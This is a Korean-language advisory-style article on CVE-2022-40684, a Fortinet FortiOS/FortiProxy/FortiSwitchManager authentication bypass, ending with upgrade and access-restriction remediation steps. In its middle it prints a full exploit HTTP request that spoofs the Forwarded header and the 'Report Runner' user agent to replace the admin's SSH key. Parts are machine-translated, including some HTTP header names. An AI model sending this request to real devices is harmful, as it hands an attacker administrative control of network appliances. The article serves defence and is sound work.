취약점 정보

CVE-2022-40684는 FortiOS, Fortiproxy 및 FortiSwitchManager와 같은 일부 Fortinet 제품의 인증 우회 취약점입니다. 이는 공격자가 이 취약점을 사용하여 인증을 우회하고 관리자로 로그인할 수 있음을 의미합니다. 이 취약점의 기본 점수는 9.8로 매우 중요합니다. 더 나아가기 전에 다음 제품이 무엇인지 알아보겠습니다.

1. FortiOS: 이름에서 알 수 있듯이 Fortinet 네트워크 운영 체제인 FortiOS 는 Fortinet Security의 핵심입니다. 이 운영 체제는 보안 패브릭의 핵심이며 모든 구성 요소를 함께 연결하여 조직의 전체 배포에서 긴밀한 통합을 보장합니다.
2. FortiProxy: 웹 필터링과 같은 여러 탐지 기술을 통합하여 인터넷 기반 공격으로부터 직원을 보호하는 보안 웹 프록시입니다.
3. FortiSwitchManager(FSWM)는 FortiSwitch 제품을 위한 온프레미스 관리 플랫폼 입니다 . FortiSwitch 장치는 레이어 3 네트워크를 통해 FortiSwitch Manager에 연결됩니다. 이 FortiSwitch 관리 전용 플랫폼으로 다수의 FortiSwitch 장치를 구성할 수 있습니다.

타격

이 버그는 인증되지 않은 사용자가 일부 HTTP/S 요청(방법은 GET, POST, DELETE 등일 수 있음)을 통해 관리자 패널에서 직접 작업을 수행할 수 있도록 합니다. 관리자 역할이 있으면 다음과 같은 이벤트가 발생할 수 있습니다.

1. 전체 애플리케이션을 제어
2. 내부 인프라에 대한 액세스 확보
3. 사용자 추가 또는 삭제
4. 민감한 데이터에 노출
5. 공격자가 손상된 시스템에 로그인할 수 있도록 관리 사용자의 SSH 키를 수정합니다.
6. 다른 구성 파일 등의 변조

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 호스트: 10.0.40.67 사용자 에이전트: 보고서 실행자 콘텐츠 유형: application/json 전달됨: for=”[127.0.0.1]:8000″;by= ”[127.0.0.1]:9000 ″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58=dev@devs-MacBook-Pro.local \”” }

• 공격자는 Fowarded 헤더를 사용하여 client_ip를 설정할 수 있습니다. .
• "신뢰할 수 있는 액세스" 인증 검사는 client_ip 가 "127.0.0.1"이고 User-Agent 가 "Report Runner"이며 둘 다 공격자의 제어하에 있는지 확인합니다.

“결함을 찾는 것보다 해결책을 찾는 것이 훨씬 더 중요합니다”

다음은 CVE-2022–40684로부터 조직을 보호하기 위한 몇 가지 수정 사항입니다.

1. 영향을 받는 제품의 업그레이드.
   FortiOS 버전을 ≥7.2.2 및 ≥7.0.7로
   업그레이드 FortiProxy 버전을 ≥7.2.1 및 ≥ 7.0.7로
   업그레이드 FortiSwitchManager 버전 ≥7.2.1 및 ≥7.0.1로 업그레이드
2. FortiOS, FortiProxy 및 FortiSwitchManager에서 http/https 관리 인터페이스를 비활성화합니다.
3. FortiOS의 경우 관리 인터페이스에 도달할 수 있는 IP 주소를 제한합니다.

config firewall address
edit "my_allowed_addresses"
set subnet <MY IP> <MY SUBNET>
end

config firewall addrgrp
edit "MGMT_IPs"
set member "my_allowed_addresses"
end

config firewall local-in-policy
edit 1
set intf port1
set srcaddr "MGMT_IPs"
set dstaddr "all"
set action accept
set service HTTPS HTTP
set schedule "always"
set status enable
next
edit 2
set intf "any"
set srcaddr "all"
set dstaddr "all"
set action deny
set service HTTPS HTTP
set schedule "always"
set status enable
end

config firewall service custom
edit GUI_HTTPS
set tcp-portrange <admin-sport>
next
edit GUI_HTTP
set tcp-portrange <admin-port>
end

config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end